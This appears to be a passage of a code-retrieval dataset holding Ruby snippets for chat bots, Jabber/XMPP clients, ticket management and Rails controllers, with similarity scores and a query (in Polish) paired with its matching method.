cid\n\n\t\t\t\toutput = \"Details for ticket ##{tid}:\"\n\t\t\t\toutput += \"\\n| ##{tid} [#{tracker}] \\\"#{title}\\\" in #{machinename} [#{status}]\\n\"\n\t\t\t\toutput += \"| Added by #{nick} on #{created}\\n\"\n\t\t\t\toutput += \"#{description}\"\n\t\t\telse\n\t\t\t\toutput = \"There is no such ticket.\"\n\t\t\tend\n\t\t\toutput\n\n\t\t# assign ticket to yourself\n\t\twhen /^a(ssign )?([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\t\t\tuid = @user.getId jid\n\t\t\tif @ticket.exists? tid\n\t\t\t\t# AND requesting user is maintainer in this project\n\t\t\t\tif [email protected]? tid\n\t\t\t\t\[email protected] tid, uid\n\t\t\t\t\t\"Ticket ##{tid} assigned to yourself.\"\n\t\t\t\telse\n\t\t\t\t\tnick = @user.getNick uid\n\t\t\t\t\t\"This ticket is already assigned to #{nick}\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t\"There is no such ticket.\"\n\t\t\tend\n\n\t\t# Delete ticket by id\n\t\twhen /^del(ete)? ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\t\t\tdeleted = @ticket.delete tid\n\t\t\tif deleted\n\t\t\t\tmsg = \"Ticket ##{tid} has been deleted.\"\n\t\t\telse\n\t\t\t\tmsg = \"There is no such ticket.\"\n\t\t\tend\n\t\t\tmsg\n\n\t\t# Close a ticket\n\t\twhen /^close ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\n\t\t\tif @ticket.exists? tid\n\t\t\t\tclosed = @ticket.updateStatus tid, \"closed\"\n\t\t\t\tmsg = \"Ticked ##{tid} has been closed.\" \n\t\t\telse\n\t\t\t\tmsg = \"There is no such ticket.\"\n\t\t\tend\n\t\t\tmsg\n\n\t\t# update nr status \"Followup text\"\n\t\twhen /^update ([0-9]+) ([a-zA-Z0-9]+) \\\"([a-zA-Z0-9 ]+)\\\"$/\n\t\t\tputs \"updating a ticket\"\n\t\t\t# get the ticket id\n\t\t\t# add a followup to the ticket\n\t\t\t# update the status of the ticket\n\n\t\t# Show the requesting users tickets\n\t\twhen /^m(y)?$/\n\t\t\tuid = @user.getId jid\n\t\t\ttickets = @ticket.getAssigned uid\n\n\t\t\toutput = \"Your tickets:\"\n\t\t\ttickets.each do |ticket|\n\t\t\t\ttid = ticket['id']\n\t\t\t\ttitle = ticket['title']\n\t\t\t\ttracker = ticket['tracker']\n\t\t\t\tstatus = ticket['status']\n\t\t\t\tpid = ticket['pid']\n\n\t\t\t\tmachinename = @project.getMachinename pid\n\n\t\t\t\toutput += \"\\n##{tid} [#{tracker}] <b>\\\"#{title}\\\"</b> in #{machinename} [#{status}]\"\n\t\t\tend\n\t\t\toutput = tickets.count < 1 ? \"You have no tickets assigned.\" : output\n\t\t\toutput\n\n\t\t# Show the requesting users open bugs\n\t\twhen /^m(y )?b(ugs)?$/\n\t\t\tputs \"Show bugs\"\n\n\t\t# Show the requesting users open features\n\t\twhen /^m(y )?f(eatures)?$/\n\t\t\tputs \"Show features\"\n\n\t\t# Set the status of a ticket to in_progress\n\t\twhen /^pro(gress)? ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\n\t\t\tif @ticket.exists? tid\n\t\t\t\tclosed = @ticket.updateStatus tid, \"in_progress\"\n\t\t\t\tmsg = \"Ticked ##{tid} is in progress.\" \n\t\t\telse\n\t\t\t\tmsg = \"There is no such ticket.\"\n\t\t\tend\n\t\t\tmsg\n\n\t\t# Test all methods in the project crud\n\t\twhen /^testpro$/\n\t\t\toutput = \"Testing the project methods: \"\n\n\t\t\t#add\n\t\t\tputs \"Adding new project\"\n\t\t\tid = @project.add 'testauto', 'Automated test', 'This is just an Automated test', nil, nil\n\t\t\toutput += \"\\nNew project added: #{id}\"\n\n\t\t\t#exists?\n\t\t\tputs \"Checking if project exists\"\n\t\t\texists = @project.exists? 'testauto'\n\t\t\toutput += \"\\nProject exists: #{exists}\"\n\n\t\t\t#getid\n\t\t\tputs \"Getting the projects ID\"\n\t\t\tid = @project.getId 'testauto'\n\t\t\toutput += \"\\nThe id is: #{id}\"\n\n\t\t\t#getmachine\n\t\t\tputs \"Getting the projects machinename\"\n\t\t\tmachine = @project.getMachinename id\n\t\t\toutput += \"\\nThe machinename is: #{machine}\"\n\n\t\t\t#list\n\t\t\tputs \"Getting the project list\"\n\t\t\tputs @project.getNiceList\n\n\t\t\t#delete\n\t\t\tputs \"Deleting the project by machinename\"\n\t\t\tdeleted = @project.delete machine\n\t\t\toutput += \"\\nProject deleted: #{deleted}\"\n\t\t\toutput\n\n\t\t# Test all methods in the user crud\n\t\twhen /^testuser$/\n\t\t\toutput = \"Testing the user methods:\"\n\n\t\t\t#add\n\t\t\tputs \"Adding new user\"\n\t\t\tid = @user.add 'autouser', '[email protected]', '[email protected]'\n\t\t\toutput += \"\\nNew user added: #{id}\"\n\n\t\t\t#exists\n\t\t\tputs \"Checking if user exists\"\n\t\t\texists = @user.exists? '[email protected]'\n\t\t\toutput += \"\\nUser exists: #{exists}\"\n\n\t\t\t#getid\n\t\t\tputs \"Getting the users id\"\n\t\t\tid = @user.getId '[email protected]'\n\t\t\toutput += \"\\nThe id is: #{id}\"\n\n\t\t\t#getnick\n\t\t\tputs \"Getting the users nick\"\n\t\t\tnick = @user.getNick '[email protected]'\n\t\t\toutput += \"\\nThe nick is: #{nick}\"\n\n\t\t\t#isrole\n\t\t\tputs \"Checking if the user is role admin\"\n\t\t\trole = @user.isRole? '[email protected]', 'admin'\n\t\t\toutput += \"\\nThe user is admin: #{role}\"\n\n\t\t\tputs \"Checking if the user is role user\"\n\t\t\trole = @user.isRole? '[email protected]', 'user'\n\t\t\toutput += \"\\nThe user is user: #{role}\"\n\n\t\t\t#getrole\n\t\t\tputs \"Getting the users role\"\n\t\t\trole = @user.getRole '[email protected]'\n\t\t\toutput += \"\\nThe users role: #{role}\"\n\n\t\t\t#delete\n\t\t\tputs \"Deleting the user\"\n\t\t\tdeleted = @user.delete 'autouser'\n\t\t\toutput += \"\\nUser deleted: #{deleted}\"\n\t\t\toutput\n\n\t\t# Test all methods in the ticket crud\n\t\twhen /^testticket$/\n\t\t\toutput = \"Testing the ticket methods:\"\n\n\t\t\t#add\n\t\t\tputs \"Adding new ticket\"\n\t\t\tid = @ticket.add 69, \"Automated ticket\", \"this is just an automated ticket\", \"1\", \"bug\"\n\t\t\toutput += \"\\nNew ticket added: #{id}\"\n\n\t\t\t#check if exists id\n\t\t\tputs \"Checking if ticket exists\"\n\t\t\texists = @ticket.exists? id\n\t\t\toutput += \"\\nTicket exists: #{exists}\"\n\n\t\t\t#assign\n\t\t\tputs \"Assigning ticket\"\n\t\t\tassigned = @ticket.assign id, 1\n\t\t\toutput += \"\\nAssigned ticket #{id}: #{assigned}\"\n\n\t\t\t#change status\n\t\t\tputs \"Updating Status\"\n\t\t\tupdated = @ticket.updateStatus id, \"blub\"\n\t\t\toutput += \"\\nUpdated status: #{updated}\"\n\n\t\t\t#get status\n\t\t\tputs \"Getting Status\"\n\t\t\tstatus = @ticket.getStatus id\n\t\t\toutput += \"\\nStatus: #{status}\"\n\n\t\t\t#check if assigned\n\t\t\tputs \"Checking if assigned\"\n\t\t\tassigned = @ticket.assigned? id\n\t\t\toutput += \"\\nAssigned: #{assigned}\"\n\n\t\t\t#unassign\n\t\t\tputs \"Unassigning ticket\"\n\t\t\tunassigned = @ticket.unassign id\n\t\t\toutput += \"\\nUnasigned: #{unassigned}\"\n\n\t\t\t#check if assigned\n\t\t\tputs \"Checking if assigned\"\n\t\t\tassigned = @ticket.assigned? id\n\t\t\toutput += \"\\nAssigned: #{assigned}\"\n\n\t\t\t#delete\n\t\t\tputs \"Deleting ticket\"\n\t\t\tdeleted = @ticket.delete id\n\t\t\toutput += \"\\nTicket deleted: #{deleted}\"\t\t\n\n\t\twhen /^sleep$/\n\t\t\tsleep 20\n\t\t\t\"Returned from sleeping\"\n\n\t\twhen /^time$/\n\t\t\tTime.now.localtime.to_s\n\n\t\twhen /^ping$/\n\t\t\t\"pong\"\n\n\t\twhen /^help$/\n\t\t\thelp\n\n\t\telse\n\t\t\t\"Command not recognized: '#{command}'\"\n\n\t\tend\n\tend",
"def unowner(jid,reason=nil,&blk)\n set_affiliation 'admin', jid, reason, &blk\n end",
"def unmember(jid,reason=nil,&blk)\n set_affiliation 'none', jid, reason, &blk\n end",
"def unsubscribe_all(domain, jid)\n jid = JID.new(jid)\n redis.smembers(\"pubsub:#{domain}:subscriptions_#{jid}\") do |nodes|\n nodes.each do |node|\n unsubscribe(domain, node, jid)\n end\n end\n end",
"def send_user_list(path)\n path = path[1..-1]\n path = path[0..-2] if path.ends_with?(\"/\")\n results = []\n I3.directory.find_people(:groups, path).each do |uuid|\n p = I3.directory.read_person(uuid)\n result = I3::SharedObject.new\n result.account_name = p.account_name.to_s.downcase\n result.first_name = p.first_name.to_s\n result.last_name = p.last_name.to_s\n result.description = p.description.to_s\n results << result\n end #each\n I3.server.send_object(results)\n end",
"def full_jid\n if @resource\n \"#{jid}/#{@resource}\"\n else\n jid\n end\n end",
"def invent_nick(jid)\n /^([^@]+)/ =~ jid.to_s\n return jid if not $1 or not User.valid_nick?($1)\n return $1 if not get_user_with_nick($1)\n (2 .. 100).each do |i|\n new_nick = \"#{$1}#{i}\"\n return new_nick if not get_user_with_nick(new_nick)\n end\n jid\n end",
"def unadmin(jid,reason=nil,&blk)\n set_affiliation 'member', jid, reason, &blk\n end",
"def test_ut_t5_sef_pj_002\n current_user = User.find(PU_ADMIN_ID)\n new_pj = Pj.create(:name => \"test_pj\",\n :pu_id => PU_ID)\n EVENT_IDS.each do |event_id|\n users = new_pj.users_in_mailing_list(event_id,current_user)\n assert users.blank?\n end\n end",
"def owner(jid,reason=nil,&blk)\n set_affiliation 'owner', jid, reason, &blk\n end",
"def obliterate()\n @@users_by_uid.delete(@uid)\n @@users_by_nick.delete(Channel.to_lower(@nick))\n part_all()\n end",
"def join(user)\n @mysqlHelper.insertConUser(user.getI,@id)\n @userList.getcontents.each { |users| \n \n users.userChangeFromChannel(\"204\", @id, user.getId)\n }\n @userList.add(user)\n \n end",
"def admin_1099_received_list\n %w( [email protected] )\n end",
"def initialize(chat)\n @chat = chat\n @users = []\n end",
"def get_user(jid, create)\n # Drop the resource.\n parts = jid.to_s.split('/')\n jid = parts[0]\n\n user = @users[jid]\n if not user and create\n user = User.new(@sender, jid, invent_nick(jid))\n @users[jid] = user\n @logger.debug(\"Created user #{user.nick} <#{user.jid}>\")\n end\n user\n end",
"def alert_redmine_users(m, params)\n begin\n \tcertificate = redmine_check_auth(m)\n\t\tif ! certificate\n\t\t\t# ne rien faire, l'utilisateur n'est pas connecté\n\t\telse\n\t\t\tif m.source.botuser.owner?\n\t\t\t\tm.reply \"#{Underline}#{@redmine_l_rightnow}, \" + m.sourcenick + \", #{@redmine_l_usersthatdontruntasksare}:#{Underline}\"\n\n\t\t\t\[email protected] do |key_data|\n\t\t\t\t\t# utilisateurs connectés\n\t\t\t\t\tif key_data.include? \"_auth\"\n\t\t\t\t\t\t# recuperons les données de l'utilisateur\n\t\t\t\t\t\tauthstored = @registry[key_data]\n\t\t\t\t\t\tnickname = key_data.gsub('_auth', '')\n\t\t\t\t\t\n\t\t\t\t\t\t# Si l'utilisateur n'a pas de taches, on lui indique par message\n\t\t\t\t\t\tif ! @registry.has_key? authstored[0].username\n\t\t\t\t\t\t\t# on affiche le nom de l'utilisateur pour l'administrateur\n\t\t\t\t\t\t\tm.reply \"#{Bold}#{nickname} #{@redmine_l_aka} #{authstored[0].username}#{Bold} - #{@redmine_l_notaskrunning}\"\n\t\t\t\t\t\t\t# on envoie le message à l'utilisateur\n\t\t\t\t\t\t\[email protected] nickname , \"#{Bold}#{nickname}#{Bold}, #{@redmine_l_youdidnotlaunchtask}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tm.reply \"#{@redmine_l_youhavenottherights}\"\n\t\t\tend\n\t\tend\n rescue Exception => e\n m.reply e.message\n m.reply e.backtrace.inspect\n end\n end",
"def new_list_users\n\n end",
"def remote_get_list\n @user = login_from_salt\n \n render :xml => @user.queue_xml \n end",
"def curator_list\n users.map(&:email)\n end",
"def unread\n\n begin\n\n id_cuenta = params[:id]\n @setting_email = SettingsEmail.where(id: id_cuenta)\n\n if @setting_email.blank?\n\n render json: {errors: {message: \"Debes configurar la cuenta de correo entrante\"}}\n\n else\n\n @setting_email.each do |setting|\n $server = setting.server\n $port = setting.port\n $username = setting.username\n $password = setting.password\n end\n\n ENV['option'] = 'unread'\n load 'script/mailman_function.rb'\n render json: {errors: {data: @@unread, status: 200, message: \"conexión exitosa\"}}\n\n end\n\n rescue\n\n render json: { errors: {data: @data, status: 500, message: \"Error! valida las credenciales de acceso o revisa la configuración de tu cuenta\"} }\n\n end\n\n end",
"def set_juntum_usuario\n @juntum_usuario = JuntumUsuario.find(params[:id])\n end",
"def update\n @subject = Subject.find(params[:id])\n if (user_signed_in? && !(@subject.users.include?(current_user)))\n flash[:alert]=\"Nemôžeš sa vymazať z kurzu!\"\n render :action=> \"new\"\n else\n params[:subject][:user_ids] ||= []\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Kurz bol upravený.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def initialize(jid, threaded = true)\n super(threaded)\n @jid = jid\n end",
"def connect\n debug \"setting up.. jid #{base.config[:account_jid]}\" \n cl = Jabber::Client.new(Jabber::JID::new(base.config[:account_jid]))\n @client = cl\n begin\n debug \"connect\"\n cl.connect \n debug \"auth\"\n cl.auth base.config[:account_password]\n # XXX should catch only proper exception types (including Jabber::ClientAuthenticationFailure)\n rescue Exception => ex \n debug \"EX: #{ex.class} \"\n debug ex.backtrace\n @base.auth_failure \n end\n \n @roster = Jabber::Roster::Helper.new cl \n @roster.add_presence_callback do |item,oldpres,pres|\n pres = Jabber::Presence.new unless pres\n oldpres = Jabber::Presence.new unless oldpres \n status = pres.status.to_s\n presence = pres.show || :available\n jid = item.jid\n # XXX unavaliable\n presence = :unavailable if pres.status.to_s == 'unavailable'\n debug \"item #{jid} chaged presence to #{presence} status #{status}\"\n base.item_presence_change(jid.to_s,presence,status)\n end\n \n @base.roster_items = get_roster_items\n\n @client.send Jabber::Presence.new\n \n set_presence\n\n cl.add_message_callback do |m|\n if m.type != :error\n debug \"message received from #{m.from} type #{m.type}\"\n @base.message_received(m.from.to_s,m.body)\n end\n end\n end",
"def runJabber\n \n i = 0\n while i < 3 do \n begin\n @jbclient = Jabber::Client.new Jabber::JID.new(@@conf[\"jabber_account\"])\n @jbclient.connect(@@xmpp_host, @@xmpp_port)\n @jbclient.auth(@@conf[\"password\"])\n @jbclient.send(Jabber::Presence.new.set_type(:available))\n puts \"Connected to jabber server\" if @jbclient.is_connected?\n \n roster = Jabber::Roster::Helper.new(@jbclient)\n \n roster.add_subscription_request_callback { |item,presence|\n if presence.from == @@visualRESTmain\n roster.accept_subscription(presence.from)\n end\n }\n i = 3\n rescue => exception\n puts \"xmpp \" + exception\n sleep(1)\n i += 1\n end\n end\n \n @jbclient.add_message_callback { |msg|\n if msg != nil and msg.type == :chat and msg.body and msg.from == @@visualRESTmain\n puts \"<#{msg.from}> #{msg.body.strip}\"\n \n cmd, arg = msg.body.split(/ /, 2)\n \n if cmd and @@test_messages\n puts \"CMD: \" + cmd\n end\n if arg and @@test_messages\n puts \"ARG: \" + arg\n end\n command(msg.from, cmd, arg)\n end\n }\nend",
"def participants_list_permissions\n @browser.select(:id=>\"addarea_participants_permissions\")\n end",
"def list_check_notice\n user = User.second\n UserMailer.list_check_notice(user)\n end",
"def list_watch(response)\n room_name = response.room.andand.name\n user_name = response.user.andand.name\n response.reply \"#{response.user.name}, list for '#{room_name || user_name}': \"\\\n \"#{list_spam(room_name, user_name)}\"\n rescue Error => e\n log.error e.inspect\n log.error response.inspect\n response.reply \"#{response.user.name}, #{e}\"\n end",
"def search_user_names_for_message\n @users = (session[:from_follower_following] ? @login_user.from_follower_following(params[:term]) : @login_user.all_message_users(params[:term]))\n @usernames = []\n @users.collect{|u| @usernames << u.username}\n respond_to do |format|\n format.json { render :json => @usernames }\n end\n end",
"def add nick, email, jid\n\t\[email protected] Hash[\n\t\t\t'nick' => nick,\n\t\t\t'email' => email,\n\t\t\t'jid' => jid,\n\t\t\t'role' => 'user',\n\t\t\t'password' => 'NOTSET']\n\tend",
"def to_s\n jid.to_s\n end",
"def index\n set_current_folder Folder.root_folder_of_user(current_user).id\n set_current_children\n set_new_items\n @chat_room = current_folder.chat_room\n end",
"def users_messaged_by\r\n self.users_who_messaged_me\r\n end",
"def users_messaged_by\r\n self.users_who_messaged_me\r\n end",
"def show\n # Try to find it and fail if it doesn't exist\n unless @chat_room = ChatRoom.find_by_id(params[:id])\n flash[:notice] = \"Chat room doesn't exist. Maybe the owner deleted it?\"\n return redirect_to(chat_rooms_url)\n end\n\n # If it's archived, redirect them to the transcript URL\n if @chat_room.archived?\n flash[:notice] = \"Chat room is archived, loading transcript\"\n return redirect_to(transcript_url(@chat_room))\n end\n\n # Check to see if the user is already a member of the room\n unless @chat_room.participants.include?(whoami)\n # If it's not locked, create a room membership\n unless @chat_room.locked?\n Membership.create(:participant => whoami, :chat_room => @chat_room)\n else\n # Notify that the room is locked and they can't get in\n flash[:notice] = \"Chat room is locked, you can't join\"\n return redirect_to(chat_rooms_url)\n end\n end\n\n # Mark the current membership as active and all others as inactive\n if @membership = Membership.joining(whoami, @chat_room).first\n @membership.active = true && !whoami.away?\n @membership.save!\n end\n\n # Get all the memberships for listing room members\n @memberships = @chat_room.memberships\n\n # Get messages from the last 3 days for the chat room\n @messages = @chat_room.messages.since(3.days.ago)\n\n # If there's no recent messages, get last 50\n @messages = @chat_room.messages.limit(50).reverse if @messages.blank?\n\n # Get the message ID of the last message in the list. This will be used in\n # the AJAX call to get more messages.\n @current_highest_message = @messages.blank? ? -1 : @messages.last.id\n\n # Get notifications\n @notifications = Notification.for(whoami)\n\n # Get current user's keywords\n @keywords = whoami.keywords\n\n # Get 5 rooms around the current one\n @my_memberships = whoami.rooms_around(@chat_room)\n\n # Get rooms that have notifications waiting\n @chat_rooms_with_notifications = @notifications.collect{|n| n.message.chat_room}.uniq\n\n # Get messages that have triggered notifications\n @messages_with_notifications = @notifications.collect(&:message)\n end",
"def show_messages(uids)\n return if uids.nil? or (Array === uids and uids.empty?)\n\n fetch_data = 'BODY.PEEK[HEADER.FIELDS (DATE SUBJECT MESSAGE-ID)]'\n messages = imap.fetch uids, fetch_data\n fetch_data.sub! '.PEEK', '' # stripped by server\n\n messages.each do |res|\n puts res.attr[fetch_data].delete(\"\\r\")\n end\n end",
"def index\n @lier_private_message_users = LierPrivateMessageUser.all\n end",
"def set_jugadalot\n @jugadalot = Jugadalot.find(params[:id])\n end",
"def list_friend\n ActionCable.server.broadcast(\n \"conversations-#{connect_user.id}\",\n message: 'list_user',\n data: User.where.not(id: connect_user).select('id, email')\n )\n end",
"def admin_remove_member_request_list\n %w( [email protected] )\n end",
"def set_jednani\n @jednani = Jednani.find(params[:id])\n end",
"def mcget_list_menbers(list_id)\n # 82dfd7f973, a38ec3df9c\n begin\n lists_res = setup_mcapi.lists.list({'list_id' => list_id})\n @list = lists_res['data'][0]\n members_res = setup_mcapi.lists.members(list_id)\n @members = members_res['data']\n rescue Mailchimp::ListDoesNotExistError\n flash[:error] = \"The list could not be found\"\n redirect_to \"/lists/\"\n rescue Mailchimp::Error => ex\n if ex.message\n flash[:error] = ex.message\n else\n flash[:error] = \"An unknown error occurred\"\n end\n redirect_to \"/lists/\"\n end\n end"
] |
[
"0.62557286",
"0.60726076",
"0.6016798",
"0.590932",
"0.5623191",
"0.5611223",
"0.55844116",
"0.55667436",
"0.5525532",
"0.5452906",
"0.54255337",
"0.54137605",
"0.5387662",
"0.5361989",
"0.53599983",
"0.53548867",
"0.5345816",
"0.5345816",
"0.5345816",
"0.5307221",
"0.52718776",
"0.52306545",
"0.5168755",
"0.5156851",
"0.5137689",
"0.51170844",
"0.50609714",
"0.5058561",
"0.5055536",
"0.5036171",
"0.5034093",
"0.5034093",
"0.5021032",
"0.50058776",
"0.4992453",
"0.4987636",
"0.49343544",
"0.4932523",
"0.49142578",
"0.49040416",
"0.4843736",
"0.48393762",
"0.4811742",
"0.48113334",
"0.48022646",
"0.4800401",
"0.47993973",
"0.47910044",
"0.47900558",
"0.47895977",
"0.4778287",
"0.47717255",
"0.47589552",
"0.47529575",
"0.4743774",
"0.4742559",
"0.4740463",
"0.4735758",
"0.47295904",
"0.47275567",
"0.47274882",
"0.4723212",
"0.4710687",
"0.46965462",
"0.4694098",
"0.4693104",
"0.4683682",
"0.46674797",
"0.46659896",
"0.4664092",
"0.46631092",
"0.46615365",
"0.4658113",
"0.46490693",
"0.4642829",
"0.46318823",
"0.46291938",
"0.46272475",
"0.4620608",
"0.46177787",
"0.4616133",
"0.46098712",
"0.4609706",
"0.45986798",
"0.45965296",
"0.45930803",
"0.45764613",
"0.45723554",
"0.4570854",
"0.456997",
"0.4569542",
"0.4569542",
"0.45614007",
"0.45501465",
"0.45426437",
"0.45308363",
"0.452846",
"0.45244595",
"0.4521436",
"0.4518786"
] |
0.71056235
|
0
|
Wysyla wiadomosc na serwer
|
def wyslij(wiadomosc)
proba=0
begin
proba+=1
@klient.send(wiadomosc)
rescue
retry unless proba>3
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)\n\twiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}\n\t@wiadomosci_do_wyslania << wiad\n end",
"def witcher; end",
"def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)\n\tkontakty(jid) do |znajomy|\n\t\tunless subskryp? znajomy\n\t\t\tdodaj_do_listy(znajomy.jid)\n\t\t\treturn dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)\n\t\tend\n\t\twiad=Message.new(znajomy.jid)\n\t\twiad.type=typ\n\t\twiad.body=wiadomosc\n\t\twyslij(wiad)\n\tend\n end",
"def weber; end",
"def waiver\n end",
"def wip\n end",
"def send_moola!\n # @todo\n end",
"def zuruecksetzen()\n end",
"def call\n uri = URI.parse(\"http://api.sejmometr.pl/posiedzenia/BZfWZ/projekty\")\n end",
"def wondersoft\n begin\n wonder=RestClient.get $api_service+'/sync_settings/wondersoft_connection_data'\n @wondersoft_data =JSON.parse(wonder)\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} SyncsettingsController wondersoft method\" } \n end\n add_breadcrumb \"Dashboard\", :users_dashboard_path\n add_breadcrumb \"Wodersoft Connection\", :syncsettings_wondersoft_path\n end",
"def transmission; end",
"def schubert; end",
"def sichtbar_machen()\n # TODO\n end",
"def set_wypozyczeny\n @wypozyczeny = Wypozyczenie.find(params[:id])\n end",
"def suivre; end",
"def transmissions; end",
"def transmissions; end",
"def topsman_periphacitis_urosteon()\n end",
"def sichtbar_machen()\n end",
"def show\r\n SignalStrength.switch_data(params[:connection], \"daily\")\r\n #@signal_strengths = SignalStrength.find(params[:id])\r\n #@signal_strengths = SignalStrength.find(:all, :origin=>'94531', :within=>10)\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @signal_strengths.to_xml(:dasherize => false) }\r\n end\r\n end",
"def set_wypozyczenium\n @wypozyczenium = Wypozyczenium.find(params[:id])\n end",
"def zapis_vysledek(reseni, je_splnitelna) \n @reseni = reseni\n @vysledny_soucet_vah = vrat_soucet_vah(reseni)\n @je_splnitelna = je_splnitelna\n end",
"def show\n @wod\n end",
"def websocket; end",
"def websocket; end",
"def stoffe_zuordnung\n @synonym_liste = StoffSynonym.get_all_unused_synonyms\n @all_werte = Stoff.get_stoffe_for_selection_field\n @stoff = Stoff.new\n @redirect_params = upload_stoffe_zuordnung_path\n if @synonym_liste.empty?\n redirect_to upload_read_transporte_path\n else \n @typ = \"stoff\" \n @wert_modal = 'stoffe/form_modal'\n render \"werte_zuordnung\"\n end\n end",
"def otrzymane_wiadomosci\n\twiadomosci=[]\n\twhile(!@kolejka_wiadomosci.empty?)\n\t\twiadomosc=@kolejka_wiadomosci.pop(true) rescue nil\n\t\tbreak if wiadomosc.nil?\n\t\twiadomosci << wiadomosc\n\t\tyield wiadomosc if block_given?\n\tend\n\twiadomosci\n end",
"def sichtbar_machen\n @sichtbar = true\n zeichnen()\n puts(self) \n end",
"def save\n @wine = Wine.create(wine_params)\n\n if @wine.save\n redirect_to wine_path(@wine)\n flash[:notice] = \"Vous avez ajouté un vin à votre cave !\"\n else\n flash[:alert] = \"La manip n'a pas fonctionné, réessayez.\"\n end\n end",
"def to_wires_event; self; end",
"def create\n @wepon = Wepon.new(wepon_params)\n\n respond_to do |format|\n if @wepon.save\n format.html { redirect_to @wepon, notice: '追加されました' }\n format.json { render :show, status: :created, location: @wepon }\n else\n format.html { render :new }\n format.json { render json: @wepon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_wepon\n @wepon = Wepon.find(params[:id])\n end",
"def solicitudes_atrasadas\n end",
"def terpene; end",
"def set_softwarerechte\n @softwarerechte = Softwarerechte.find(params[:id])\n end",
"def insult_swabbie\n return case self.swab\n when :counter\n self.boatswain\n when :timestamp\n self.coxswain\n else\n \"\"\n end\n end",
"def wpi\n data[:wpi]\n end",
"def whiny; end",
"def tow\n auto_shop.tow_vehicle\n end",
"def tow\n auto_shop.tow_vehicle\n end",
"def set_wod\n @wod = Wod.find(params[:id])\n end",
"def set_wod\n @wod = Wod.find(params[:id])\n end",
"def show\n @powiadomienie = Powiadomienie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @powiadomienie }\n end\n end",
"def ToCoStoiPrzyA()\n return @RownanieWielomianu.first.WspolczynnikPomocniczy\n end",
"def as_wkt\r\n as_ewkt(false,false,false)\r\n end",
"def show_wine\n # # Creation of a new Scraper object with wine's url as a parameter\n # @scraper = Scraper.new\n # @scraper.link = params[:link]\n #\n # # Contruction of the figaro url\n # url = \"http://avis-vin.lefigaro.fr\" + @scraper.link\n #\n # # Call of wine's years scraping class method\n # @years = Scraper.get_wine_years(url) # => array of hashes containing wine's years\n end",
"def sywl(packet, params)\n\t\tparams[:data] = serialize(params.except(:client_name))\n\t\tparams[:function] = \"SYWL\"\n\t\tcommunication.notif(params)\n\t\tpacket.data = \"OK\"\n\tend",
"def create\n respond_to do |format|\n if @wireless.save\n format.html { redirect_to wirelesses_path, notice: 'Rede Wireless criada com sucesso.' }\n format.json { render :index, status: :created, location: @wireless }\n else\n format.html { render :new }\n format.json { render json: @wireless.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sfw\n send_tags('sfw', @handle, @security)\n end",
"def show\n @wycieczka = Wycieczka.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wycieczka }\n end\n end",
"def simulWeatherSync \n \"simulWeatherSync\" \n end",
"def sn\n end",
"def loguj(jids,haslo)\n\tjid=JID::new(jids)\n\t@klient=Client::new(jid)\n\[email protected]\n\[email protected](haslo)\n\[email protected](Presence.new.set_type(:available))\n\t@wiadomosci_do_wyslania=Queue.new\n\tdef_callback\n\tsleep(1)\n\tThread.new{\n\t\twhile(true)\n\t\t\tnext if @wiadomosci_do_wyslania.length<1\n\t\t\twiadomosci=[@wiadomosci_do_wyslania.pop]\n\t\t\twiadomosci.each{ |wiadomosc|\n\t\t\t\tif subskryp?(JID::new(wiadomosc[:do]))\n\t\t\t\t\twyslij_wiadomosc(wiadomosc[:do],wiadomosc[:wiadomosc],wiadomosc[:typ])\n\t\t\t\telse\n\t\t\t\t\t@wiadomosci_do_wyslania << wiadomosc\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\t}\n end",
"def letzte_komponente\n \n end",
"def wagner; end",
"def index\n @wepons = Wepon.all\n end",
"def set_werk\n @werk = Werk.find(params[:id])\n end",
"def sichtbar_machen()\n @dach.sichtbar_machen\n @gebaedekoerpe.sichtbar_machen\n @fenster.sichtbar_machen\n @tuer.sichtbar_machen\n end",
"def wallops(message)\n send_data(\"WALLOPS :#{message}\")\n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def set_swot\n @swot = Swot.find(params[:id])\n end",
"def show\n @winecooler = Winecooler.find(params[:id])\n @uploads = @winecooler.uploads\n \n respond_to do |format|\n format.html { render :layout=>\"application\"}# show.html.erb\n format.json { render json: @winecooler }\n format.xml {\n xml_string = \"<icons>\"\n xml_string +=\"<icon image=\\\"/images/skins/commun/bgTitreProduit.png\\\" action=\\\"javascript:lanceZoomNoir(1);\\\" target=\\\"_self\\\" titre=\\\"\\\" desc=\\\"\\\" />\"\n xml_string += \"</icons>\"\n render :text=>xml_string\n }\n end\n end",
"def create\n @wypozyczenium = Wypozyczenium.new(wypozyczenium_params)\n\n respond_to do |format|\n if @wypozyczenium.save\n format.html { redirect_to @wypozyczenium, notice: 'Wypozyczenium was successfully created.' }\n format.json { render :show, status: :created, location: @wypozyczenium }\n else\n format.html { render :new }\n format.json { render json: @wypozyczenium.errors, status: :unprocessable_entity }\n end\n end\n end",
